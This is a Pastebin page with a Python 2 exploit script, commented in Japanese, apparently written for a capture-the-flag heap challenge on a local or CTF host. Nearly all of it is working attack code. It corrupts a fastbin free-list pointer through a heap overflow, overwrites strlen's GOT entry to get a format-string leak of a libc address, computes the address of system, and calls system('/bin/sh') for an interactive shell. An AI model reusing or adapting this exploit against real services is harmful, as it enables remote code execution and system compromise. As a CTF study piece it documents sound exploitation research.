Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- import socket, struct, telnetlib
- ###################### useful function definition
- def sock(remoteip, remoteport):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((remoteip, remoteport))
- return s, s.makefile('rw', bufsize=0)
- def read_until(f, delim):
- data = ''
- while not data.endswith(delim):
- data += f.read(1)
- return data
- def pQ(a):
- return struct.pack("<Q",a)
- def shell(s):
- t = telnetlib.Telnet()
- t.sock = s
- t.interact()
- ###################### menu function
- def alloc_mem(size):
- f.write("1\n")
- f.write(str(size)+"\n")
- index = int(f.readline())
- assert f.readline().strip() == 'OK'
- return index
- def write_mem(idx, data):
- size = len(data)
- f.write("2\n")
- f.write(str(idx)+"\n")
- f.write(str(size)+"\n")
- f.write(data)
- assert f.readline().strip() == 'OK'
- def free_mem(idx):
- f.write("3\n")
- f.write(str(idx)+"\n")
- assert f.readline().strip() == 'OK'
- def strlen_mem(idx):
- f.write("4\n")
- f.write(str(idx)+"\n")
- r = f.readline()
- return r
- ###################### main
- s, f = sock("localhost", 3573)
- #s, f = sock("katagaitai.orz.hm", 3333)
- strlen_got = 0x602030
- printf_plt = 0x4007A0
- IDX = 0x602100 # IDXを,偽装したいチャンクのsizeメンバ相当とする
- """
- http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1574
- 1574 /*
- 1575 Fastbins
- 1576
- 1577 An array of lists holding recently freed small chunks. Fastbins
- 1578 are not doubly linked. It is faster to single-link them, and
- 1579 since chunks are never removed from the middles of these lists,
- 1580 double linking is not necessary. Also, unlike regular bins, they
- 1581 are not even processed in FIFO order (they use faster LIFO) since
- 1582 ordering doesn't much matter in the transient contexts in which
- 1583 fastbins are normally used.
- 1584
- 1585 Chunks in fastbins keep their inuse bit set, so they cannot
- 1586 be consolidated with other free chunks. malloc_consolidate
- 1587 releases all chunks in fastbins and consolidates them with
- 1588 other free chunks.
- 1589 */
- つまり fastbins のリンクリストに登録されるのは,64bit環境では160バイト以下の領域で,
- この場合はシングルリンクリストとなっている.(malloc_chunkのprev_size, size, fdまでを見て,bkは見ない)
- """
- # 160バイト以下(fastbinsに適合するサイズ)を
- mem = []
- for i in xrange(0x30): # 0x30回程度確保し,sizeメンバ(=IDX)を偽装する
- idx = alloc_mem(0x20) # チャンクが使用中の場合,チャンクの管理領域は0x10バイトなので,実際には合計で0x30確保される
- mem.append(idx)
- # 最後だけfreeしてfastbinsに登録
- free_mem(mem[-1])
- """
- http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1108
- 1108 struct malloc_chunk {
- 1109
- 1110 INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
- 1111 INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
- 1112
- 1113 struct malloc_chunk* fd; /* double links -- used only if free. */
- 1114 struct malloc_chunk* bk;
- 1115
- 1116 /* Only used for large blocks: pointer to next larger size. */
- 1117 struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
- 1118 struct malloc_chunk* bk_nextsize;
- 1119 };
- """
- # fastbinsに登録されているはずの解放済み領域に,ヒープBOFで上書きする
- bof = 'A'*32
- bof += pQ(0) # prev_size
- bof += pQ(0x20+0x10+1) # size # (確保サイズ+管理領域0x10バイト) | 1
- bof += pQ(IDX-0x8) # fd
- write_mem(mem[-2], bof)
- # fastbinsに登録されているエントリが再利用されて確保されるが,この時上記で作ったエントリの情報が信用されてしまう.
- # もともとfastbinsでは,最後のエントリにおいて P->FD == 0x0 だったのが,ヒープBOFで P->FD == 0x602108 に上書きされている.
- # このチェックは malloc.c の do_check_malloc_state() で行われるが,P->BKは見ていない.
- # つまり P->FD が 0x602108 になるので,空になるはずの fastbins に0x602108というエントリができてしまう.
- e0 = alloc_mem(0x20)
- mem.append(e0)
- # 偽造したfastbinsのエントリを使って,0x20バイトのメモリを確保
- e1 = alloc_mem(0x20)
- mem.append(e1)
- # printf@pltをstrlen@gotに仕込んだら,strlenする時のアドレスがわかるはずである.
- # そのために,まずは上書きしたいstrlen@gotをbss中に仕込む.これでidx=0にstrlen@gotのアドレスが書き込まれる
- bof = 'A'*56
- bof += pQ(strlen_got)
- write_mem(e1, bof)
- # strlen@gotにprintf@pltを書き込む
- write_mem(0, pQ(printf_plt))
- # printfで利用するフォーマットを書いておく
- write_mem(mem[-1], "%41$p\n\0")
- # printf FSB
- r = strlen_mem(mem[-1])
- f.readline().strip() # '...'
- _libc_start_main = int(r,16)
- print "stack: libc_start_main", hex(_libc_start_main)
- # calc system
- """
- $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |less
- 0000000000021dd0 <__libc_start_main>:
- ...
- 21ec3: ff d0 call rax
- 21ec5: 89 c7 mov edi,eax
- $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |grep 'system>:'
- 0000000000046530 <__libc_system>:
- """
- libc_base = _libc_start_main - 0x21ec5
- libc_system = libc_base + 0x46530 # local
- print "system:", hex(libc_system)
- # strlen@gotにsystem@libcを書き込む
- write_mem(0, pQ(libc_system))
- # /bin/shを書き込む
- write_mem(mem[-1], "/bin/sh\0\n\0")
- # call system("/bin/sh")
- strlen_mem(mem[-1])
- print "got shell :)"
- shell(s)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement